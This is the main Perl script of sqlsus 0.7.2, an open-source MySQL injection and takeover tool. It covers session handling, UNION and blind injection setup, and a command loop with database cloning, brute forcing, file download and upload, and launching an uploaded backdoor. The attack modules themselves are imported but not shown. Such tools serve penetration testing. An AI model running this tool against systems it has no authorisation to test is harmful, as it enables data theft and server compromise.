Codebase list sqlsus / master sqlsus
master

Tree @master (Download .tar.gz)

sqlsus @masterraw · history · blame

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
#!/usr/bin/perl -w 

# This file is part of sqlsus
#
# Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
# http://sqlsus.sourceforge.net/
#
# Licensed under GPLv3+: GNU GPL version 3 or later
# See LICENSE file or http://www.gnu.org/licenses/gpl.html

our $RELEASE = "0.7.2";

use strict;
use lib 'lib';

use LWP::UserAgent;
use HTTP::Cookies;
use Term::ReadLine;
use File::Path;
use Getopt::Long;
use Time::HiRes qw/sleep/;
use File::Temp qw/tempfile tempdir/;
use Pod::Usage;
use IO::Socket;

use Sqlsus::conf;
use Sqlsus::functions;
use Sqlsus::select;
use Sqlsus::autoconf;
use Sqlsus::get;
use Sqlsus::show;
use Sqlsus::file;
use Sqlsus::db;
use Sqlsus::brute;
use Sqlsus::help;
use Sqlsus::backdoor;
use Sqlsus::msg;
use Sqlsus::clone;

our $internal_request = 0;

our %target;
our $database;
our %databases;
our %privileges;
our @history;
our $control_parent;
our $control_child;

my  $interactive = 1;

##################################
sub version_info {
	print "
              sqlsus version $RELEASE

  Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)

";
}

##################################
sub usage {
	pod2usage;
	exit 0;
}

##################################
sub save_and_exit {
	my $exit_code = shift;

	&save();
	$control_child->send('exit');
	exit $exit_code;
}

##################################
sub save {
	&db::save_vars;
	if (defined @history or not $interactive) {
		&db::query("DELETE FROM history");
		&db::save_history(@history);
	}
}

##################################
sub interrupt_hit {
	$main::control_child->send("interrupt +");
}

##################################
sub interrupt_reset {
	$main::control_child->send("interrupt reset");
}

##################################
sub is_interrupted {
	$main::control_child->send("interrupt print");
	$main::control_child->recv(my $buf, 100);
	return $buf;
}

##################################
sub launch_control_process {
	my $hits = 0;
	my $inband_mass_query_fetched = 0;
	my $interrupt = 0;
	while (defined $control_parent) {
		$control_parent->recv(my $buf, 100);
		next unless $buf;
#		&msg::info("received : $buf");
		if ($buf eq 'hits +') {
			$hits++;
		} elsif ($buf eq 'hits print') {
			$control_parent->send($hits);
		} elsif ($buf eq 'hits reset') {
			$hits = 0;
		} elsif ($buf eq 'interrupt +') {
			$interrupt++;
			if ($interrupt == 2) {
				&msg::raw("\n[+] Ctrl-C hit twice, hit again to force sqlsus to exit\n");
			} elsif ($interrupt >= 3) {
				rmtree($main::tmp_dir) if $main::tmp_dir;
				kill -15, $$;
			}
		} elsif ($buf eq 'interrupt print') {
			$control_parent->send($interrupt);
		} elsif ($buf eq 'interrupt reset') {
			$interrupt = 0;
		} elsif ($buf =~ /inband_mass_query_fetched (\d+) (\d+) (\d+)/) {
			$inband_mass_query_fetched += $1;
			&select::print_progress($inband_mass_query_fetched, $2, $3, $hits);
		} elsif ($buf =~ /inband_mass_query_fetched reset/) {
			$inband_mass_query_fetched = 0;
		} elsif ($buf =~ /progress print (\d+) (\d+) (\d+)/) {
			&select::print_progress($1, $2, $3, $hits);
		} elsif ($buf eq 'exit') {
			exit;
		}
	}
} 

##################################
sub target_fill {
	my @result = &select::query("SELECT " . join(",", (values %conf::target_keys)), 1) or return 0;

	for my $item (keys %conf::target_keys) {
		$target{$item} = shift @result;
	}
	# create hash entry if none exists
	$databases{$target{database}} = () unless defined $databases{$target{database}};
	# if current database was never set, set it to what "start" returned
	$database = $target{database} unless $database;

	if (not &db::query("SELECT * FROM databases WHERE database_name = ?", $database)) {
		&db::query("INSERT INTO databases VALUES (?,?,?,?)", $database, '','','');
	}

	$target{user} =~ s/^(.*)\@(.*)$/'$1'\@'$2'/ if $target{user};
	&show::command("target");
	return 1;
}

##################################
# Let's start the game !
sub start {
	if (not $conf::blind) {
		if (@conf::columns) {
			&msg::info("UNION columns already set to (" . join (",", @conf::columns) . "), skipping auto-detection... (use \"autoconf select_columns\" to do it anyway)");
		} else {
			if (not &autoconf::select_columns()) {
				&msg::fatal("find_select_columns() FAILED... exiting");
			}
			&msg::info("Correct number of columns for UNION : " . scalar @conf::columns . ' (' . join (",", @conf::columns) . ")");
			if (not grep /1/, @conf::columns) {
				&msg::fatal("No suitable column found, you should probably go in blind injection mode...exiting");
			}
		}
	} else {
		&msg::raw("Testing blind mode...\r");
		if (&select::inject_blind("1") and not &select::inject_blind("0")) {
			&msg::info("Blind mode test passed successfully");
		} else {
			if ($conf::blind == 1) {
				&msg::error("Blind mode test failed, verify your parameters. (\$blind_string not accurate ?)");
			} elsif ($conf::blind == 2) {
				&msg::error("Blind mode test failed, verify your parameters. (\$blind_sleep set too low ? Using time-based injection on a MySQL < 5.0.12 ?)");
			}
			&save_and_exit(1);
		}
	}


	if ($conf::max_url_length > 0) {
		&msg::info("max_url_length already set to $conf::max_url_length , skipping auto-detection... (use \"autoconf max_sendable\" to do it anyway)");
	} elsif ($conf::max_inj_length > 0) {
		&msg::info("max_inj_length already set to $conf::max_inj_length , skipping auto-detection... (use \"autoconf max_sendable\" to do it anyway)");
	} else {
		&autoconf::max_sendable;
	}

	&msg::info("Filling \%target...");
	&msg::fatal("target_fill() FAILED... exiting") if not &target_fill();
}


##################################
############# MAIN ###############
##################################

umask 0077;

&version_info;

########### parse arguments ############

my @input_query;

GetOptions(
	"help" => sub { &usage() },
	"version" => sub { exit 0 },
	"execute=s" => sub { 
		@input_query = split ';', $_[1]; 
		$interactive = 0; 
	},
	"genconf=s" => sub { 
		&conf::gen($_[1]); 
		exit 0 
	}
);
	
my $conf_file = $ARGV[0];

&usage unless $conf_file;

if (-r "$conf_file") {
	do "$conf_file";
} else {
	print STDERR "Configuration file \"$conf_file\" not readable, exiting..\n";
	exit 1;
}

########### init sqlsus ############

&conf::backwards_compatibility();

# auto prefix/append space
$conf::url_start .= " ";
$conf::url_end = " " . $conf::url_end;

# URL base path
our $url_base = $conf::url_start;
$url_base =~ s#^(https?://[^/]+/).*$#$1#i;

our $html_method = $conf::post ? "POST" : "GET";

$conf::union_select .= " ";

our $server;
our $port = 80;

if ($conf::url_start =~ m#https?://([^/]*?)(:(\d+))?/.*#) {
	$server = $1;
	$port = $3 if defined $3;
} else {
	&msg::error("Unable to extract server from url_start, check your configuration file");
	exit 1;
}

my ($status, @result);
our $term = new Term::ReadLine 'kikoolol';
eval { $term->Attribs->ornaments(0); };

our $browser = LWP::UserAgent->new(agent => $conf::user_agent);

mkpath "$conf::datapath";
our $logdb = "$conf::datapath/sqlsus-session.$main::server.db";
our $dumpdbbase = "$conf::datapath/$main::server";

# init and load data from saved session if any
&db::init_databases;
@history = &db::query("SELECT command FROM history");
&db::init_vars;
&db::load_vars;

&functions::load_proxy_in_browser;
if ($conf::cred_realm) 	{ $browser->credentials("$server:$port", $conf::cred_realm, $conf::cred_user, $conf::cred_password) }

eval { $main::term->AddHistory(@history) };
&msg::notice("Terminal does not support AddHistory. Consider installing a real Term::Readline package.") if $@;

$browser->cookie_jar(HTTP::Cookies->new);
if ($conf::use_cookie_jar and $conf::cookie) {
	&functions::set_cookie($conf::cookie);
}

our $tmp_dir = tempdir("/tmp/.sqlsus_XXXXXXXX", CLEANUP => 1 ) or &msg::fatal("Couldn't create temporary directory : $!");

our @backdoor_data = <backdoor::DATA>;
close backdoor::DATA;

our $pid = $$;

$control_parent =  new IO::Socket::UNIX->new(Local => "$main::tmp_dir/control_parent",
	Type  => SOCK_DGRAM,
	Listen   => 10)
|| die "can't create master hits UNIX socket: $!\n";

$control_child = IO::Socket::UNIX->new(Peer => "$main::tmp_dir/control_parent",
	Local => "$main::tmp_dir/control_child",
	Type     => SOCK_DGRAM,
	Timeout  => 10)
|| die "could not create hits UNIX socket : $!\n";

$SIG{'INT'} = 'IGNORE';

if (fork()) {
	$SIG{'INT'} = sub { &functions::interrupt_hit(); };
	&launch_control_process();
	exit;
}

########### main loop ############
LOOP:
while (@input_query or defined (my $query = $_ = $term->readline('sqlsus> '))) {
	&main::interrupt_reset();
	&functions::hits_reset();
	
	unless ($interactive) { $query = $_ = shift @input_query }

	if (/\S/) {
		# Discard trailing ';', spaces..
		$query =~ s/^\s*(.*?)\s*;?\s*$/$1/;
		last if $query =~ /^(exit|quit)$/i;

		if ($query =~ /^replay$/i) { 
			for (my $i = $#history; $i >= 0; $i--) {
				if ($history[$i] =~ /^select\s/i) {
					my $table = &db::query_in_log($history[$i]);
					&db::drop_table($table) if $table;
					&msg::info("Replaying : $history[$i]");
					&select::command($history[$i]);
					push @history, "replay";
					&main::interrupt_reset();
					goto LOOP;
				}
			}
			# No select has been found in command history, but replay was asked
			&msg::error("No select found in command history, nothing to replay");
			next;
		} elsif ($query =~ /^(select)\s+/i and $interactive) {
			push @history, $query;
			
			if (my $table = &db::query_in_log($query)) {
				&functions::print_table_in_a_box(undef, $main::logdb, $table);
				&msg::info("Cached result displayed, use \"replay\" to re-execute the last select");
				next;
			}
		}
		my ($query_type, @query_args_tab) = split /\s+/, $query;
		my $query_args = join ' ', @query_args_tab;
		for ($query_type) {
			if    (/^start$/i)		{ &start }
			elsif (/^select$/i)		{ &select::command($query) }
			elsif (/^test$/i)		{ &select::test($query_args) }
			elsif (/^show$/i)		{ &show::command($query_args) }
			elsif (/^get$/i)		{ &get::command($query_args) }
			elsif (/^describe$/i)		{ &show::command("columns $query_args") }
			elsif (/^set$/i)		{ &functions::set_var($query_args) } 
			elsif (/^use$/i)		{ &functions::set_var("db $query_args") } 
			elsif (/^find$/i)		{ &functions::find_tables($query_args) }
			elsif (/^download$/i)		{ &file::download($query_args) }
			elsif (/^upload$/i)		{ &file::upload(@query_args_tab) }
			elsif (/^clone$/i)		{ &clone::command($query_args) }
			elsif (/^brute$/i)		{ &brute::command($query_args) }
			elsif (/^autoconf$/i) 		{ &autoconf::command($query_args) }
			elsif (/^backdoor$/i) 		{ &backdoor::launch() }
			elsif (/^help$/i) 		{ &help::usage($query_args) }
			elsif (/^genconf$/i) 		{ &conf::gen($query_args) }
			elsif (/^!(.*)$/) 		{ system("$1 $query_args") }
			elsif (/^eval$/i) {
				eval $query_args if $query_args;
				print "\n";
			}
			else { 
				&msg::notice("\"$query\" command not implemented"); 
				next; 
			}
			push @history, $query;
		}
	} 
	last if &main::is_interrupted() and not $interactive;
	last if not $interactive and not $input_query[0];
	&main::interrupt_reset();
	&save;
}
# and... done.
print "\n";
&msg::info("Session saved");
&save_and_exit(0);

__END__

=head1 NAME

sqlsus - MySQL injection tool

=head1 SYNOPSIS

B<sqlsus> S<[options]> S<[config file]>

 Options:
     -h, --help                    brief help message
     -v, --version                 version information
     -e, --execute <commands>      execute commands and exit
     -g, --genconf <filename>      generate configuration file

=head1 EXAMPLES

=over 4

=item B<sqlsus> --genconf my.conf

generate my.conf with sqlsus defaults.

=item B<sqlsus> --execute 'start;get db;clone' my.conf

use my.conf and clone the current database.

=item B<sqlsus> my.conf

start sqlsus in interactive mode using my.conf as configuration file.

=back

=head1 DESCRIPTION

B<sqlsus> is a MySQL injection and takeover tool focused on speed and efficiency, optimising the available injection space.

Via a command line interface, you can retrieve the database(s) structure, clone the database(s), inject your own SQL queries (even complex ones), download files from the web server, upload and control a backdoor, and much more...

=head1 OPTIONS

=over 4

=item S<B<-g, --genconf> <filename>>

Generate a configuration file with sqlsus defaults.

=item S<B<-e, --execute> <command[;command;command...]>>

Non interactive mode, sqlsus will execute each command one after another.

=item S<B<-h, --help>>

Print basic help.

=item S<B<-v, --version>>

Print version information.

=back

=head1 SEE ALSO

=over 4

=item sqlsus website: L<http://sqlsus.sourceforge.net/>

=item Inline documentation: type "help" inside sqlsus.

=back

=head1 AUTHOR

Jeremy Ruffet <[email protected]>

=head1 COPYRIGHT

Copyright (c) 2008-2011 Jeremy Ruffet. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

=cut